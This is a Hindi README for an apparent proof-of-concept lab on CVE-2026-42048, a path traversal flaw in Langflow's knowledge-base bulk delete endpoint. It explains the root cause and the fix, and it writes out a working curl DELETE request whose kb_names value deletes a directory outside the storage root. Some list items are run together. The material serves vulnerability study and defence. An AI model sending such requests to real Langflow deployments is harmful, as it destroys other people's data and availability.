
लैंगफ्लो मनमाना निर्देशिका विलोपन
CVE-2026-42048 Langflow पथ ट्रैवर्सल / मनमाना निर्देशिका विलोपन PoC
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : Langflow मनमाना निर्देशिका विलोपन भेद्यता
Langflow के 1.9.0 से पहले के संस्करण में एक पथ ट्रैवर्सल भेद्यता एक प्रमाणित हमलावर को बल्क डिलीट एंडपॉइंट DELETE /api/v1/knowledge_bases के माध्यम से इच्छित नॉलेज बेस स्टोरेज पथ के बाहर निर्देशिकाओं को हटाने की अनुमति देती है। यह समस्या इसलिए होती है क्योंकि उपयोगकर्ता-नियंत्रित kb_names मानों का उपयोग फाइलसिस्टम पथ बनाने के लिए किया जाता है, बिना उचित सामान्यीकरण और सीमा सत्यापन के।
सफल शोषण के लिए निम्नलिखित शर्तें आवश्यक हैं:
1.9.0 से पहले।DELETE /api/v1/knowledge_bases
PR:L) की आवश्यकता वाली समस्या बताते हैं।kb_names अनुरोध बॉडी पैरामीटर को नियंत्रित कर सकता है।यह भेद्यता ऑपरेटिंग सिस्टम फ़ाइल अनुमतियों को बायपास नहीं करती है। यह Langflow के स्वयं के पथ हैंडलिंग और विलोपन तर्क का दुरुपयोग करती है।
Docker का उपयोग करके भेद्य वातावरण बनाएं और चलाएं:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
लैब एक डिस्पोजेबल लक्ष्य निर्देशिका बनाता है:
/target/CVE-2026-42048
/status एंडपॉइंट रिपोर्ट करता है कि क्या वह निर्देशिका अभी भी मौजूद है।
python3 poc.py
इंटरैक्टिव इनपुट:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
यदि शोषण सफल होता है, तो target_exists true से false में बदल जाता है।
भेद्य एंडपॉइंट
DELETE /api/v1/knowledge_bases
भेद्यता Langflow के नॉलेज बेस बल्क डिलीट API में मौजूद है। प्रभावित हैंडलर kb_names पैरामीटर के माध्यम से नॉलेज बेस नामों की एक सूची स्वीकार करता है और प्रत्येक मान का उपयोग विलोपन के लिए एक फाइलसिस्टम पथ बनाने के लिए करता है।
भेद्य संस्करणों में, बल्क डिलीट तर्क अन्य नॉलेज बेस एंडपॉइंट्स द्वारा उपयोग किए जाने वाले सुरक्षित पथ रिज़ॉल्यूशन हेल्पर का उपयोग करने के बजाय मैन्युअल रूप से पथ का निर्माण करता है। भेद्य पैटर्न का एक सरलीकृत प्रतिनिधित्व है:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
डिलीट हेल्पर अंततः पुनरावर्ती विलोपन तर्क के साथ लक्ष्य निर्देशिका को हटा देता है। चूंकि kb_name हमलावर-नियंत्रित है, ../ जैसे पथ ट्रैवर्सल अनुक्रम वर्तमान उपयोगकर्ता की नॉलेज बेस निर्देशिका से बाहर निकल सकते हैं। Python के pathlib में, दाईं ओर प्रदान किया गया एक निरपेक्ष पथ पिछले पथ घटकों को ओवरराइड भी कर सकता है:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
परिणामस्वरूप, एक तैयार किया गया kb_names मान Langflow को इच्छित नॉलेज बेस स्टोरेज रूट के बाहर एक निर्देशिका हटाने का कारण बन सकता है, जब तक Langflow प्रक्रिया के पास उस निर्देशिका को हटाने की अनुमति है।
यह CWE-22: प्रतिबंधित निर्देशिका में पथनाम का अनुचित सीमांकन की समस्या है।
मूल कारण पुनरावर्ती विलोपन से पहले उपयोगकर्ता-नियंत्रित पथ घटकों का अपर्याप्त सामान्यीकरण और सीमा सत्यापन है। भेद्य बल्क डिलीट एंडपॉइंट यह जांचता है कि अंतिम पथ मौजूद है या नहीं, लेकिन यह सुनिश्चित नहीं करता है कि हल किया गया पथ प्रमाणित उपयोगकर्ता की नॉलेज बेस निर्देशिका के अंतर्गत रहे।
एक मजबूत सुधार को:
Path.resolve() के साथ अंतिम पथ को सामान्य करेंLangflow ने इस समस्या को 1.9.0 में ठीक किया।
मनमाना निर्देशिका विलोपन सीधे अखंडता और उपलब्धता को प्रभावित कर सकता है। परिनियोजन अनुमतियों और फाइलसिस्टम लेआउट के आधार पर, एक हमलावर निम्न में सक्षम हो सकता है:
यह समस्या हानिकारक होने के लिए मनमाना कोड निष्पादन की आवश्यकता नहीं है। एप्लिकेशन विशेषाधिकारों के साथ पुनरावर्ती विलोपन डेटा और उपलब्धता को नुकसान पहुंचाने के लिए पर्याप्त है।
+-------------------------------------------+
| प्रमाणित उपयोगकर्ता |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow नॉलेज बेस API |
+-------------------------------------------+
|
| असुरक्षित पथ निर्माण
v
+-------------------------------------------+
| पथ इच्छित KB उपयोगकर्ता निर्देशिका से |
| बाहर निकलता है |
+-------------------------------------------+
|
| पुनरावर्ती निर्देशिका विलोपन
v
+-------------------------------------------+
| मनमाना निर्देशिका विलोपन |
+-------------------------------------------+
यह लैब पोर्ट 9101 पर एक छोटा चैलेंज प्रॉक्सी प्रस्तुत करता है। प्रॉक्सी पूर्ण Langflow UI और प्रत्यक्ष बैकएंड पोर्ट को छिपा कर रखता है, जबकि इस अभ्यास के लिए आवश्यक केवल न्यूनतम भेद्य API पथ को अग्रेषित करता है।
लैब के लिए लक्ष्य निर्देशिका है:
/target/CVE-2026-42048
/status एंडपॉइंट का उपयोग यह पुष्टि करने के लिए किया जा सकता है कि लक्ष्य निर्देशिका हटा दी गई है।
docker stop cve-2026-42048
यह रिपॉजिटरी Langflow इंस्टेंस के अनधिकृत शोषण को सुविधाजनक बनाने के लिए नहीं है। इस परियोजना का उद्देश्य सुरक्षा शोधकर्ताओं, रक्षकों और डेवलपर्स को भेद्यता को समझने, नियंत्रित वातावरण में एक्सपोजर को मान्य करने और प्रभावी शमन लागू करने में मदद करना है।